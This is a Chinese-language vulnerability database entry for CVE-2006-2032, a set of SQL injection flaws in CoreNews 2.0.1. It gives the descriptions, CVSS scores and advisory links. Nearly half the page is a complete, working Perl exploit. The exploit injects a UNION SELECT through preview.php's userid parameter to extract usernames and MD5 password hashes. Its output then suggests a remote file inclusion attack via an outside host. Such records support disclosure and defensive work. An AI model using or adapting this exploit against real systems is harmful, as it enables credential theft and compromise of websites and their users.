CVE-2006-2032
CVSS6.4
发布时间 :2006-04-25 20:06:00
修订时间 :2008-09-05 17:03:29
NMCOE    

[原文]Multiple SQL injection vulnerabilities in Core CoreNews 2.0.1 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) icon_id and (2) userid parameters in preview.php.


[CNNVD]Core CoreNews 多个SQL注入漏洞 (CNNVD-200604-453)

        Core CoreNews 2.0.1及早期版本中存在多个SQL注入漏洞。这使得远程攻击者可以借助于 preview.php中的参数(1) icon_id和(2) userid执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2032
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2032
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-453
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/17655
(UNKNOWN)  BID  17655
http://www.securityfocus.com/archive/1/archive/1/431761/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060421 Advisory: CoreNews <= 2.0.1 Multiple Remote Vulnerabilities.
http://www.nukedx.com/?getxpl=24
(UNKNOWN)  MISC  http://www.nukedx.com/?getxpl=24
http://xforce.iss.net/xforce/xfdb/25977
(UNKNOWN)  XF  corenews-preview-sql-injection(25977)
http://securityreason.com/securityalert/797
(UNKNOWN)  SREASON  797
http://lists.grok.org.uk/pipermail/full-disclosure/2006-April/045372.html
(UNKNOWN)  FULLDISC  20060421 Advisory: CoreNews <= 2.0.1 Multiple Remote Vulnerabilities.

- 漏洞信息

Core CoreNews 多个SQL注入漏洞
中危 SQL注入
2006-04-25 00:00:00 2006-04-27 00:00:00
远程  
        Core CoreNews 2.0.1及早期版本中存在多个SQL注入漏洞。这使得远程攻击者可以借助于 preview.php中的参数(1) icon_id和(2) userid执行任意SQL命令。

- 公告与补丁

        暂无数据

- 漏洞信息 (1704)

CoreNews <= 2.0.1 (userid) Remote SQL Injection Exploit (EDBID:1704)
php webapps
2006-04-21 Verified
0 nukedx
N/A [点击下载]
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=24
#Usage: corenews.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-24\r\n";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to CoreNews ex: /corenews/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http:\/\/)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserver\r\n";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...\n";
  print $cn "GET $cnreq HTTP/1.1\n";
  print $cn "Accept: */*\n";
  print $cn "Referer: $cnhost\n";
  print $cn "Accept-Language: tr\n";
  print $cn "User-Agent: NukeZilla\n";
  print $cn "Cache-Control: no-cache\n";
  print $cn "Host: $cnserver\n";
  print $cn "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([\d,a-f]{32})2203/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      print "- If you crack hash you can use RFI with example ->\r\n";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txt\r\n"; 
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]
		

- 漏洞信息

25249
CoreNews preview.php Multiple Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-04-22 Unknow
2006-04-22 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站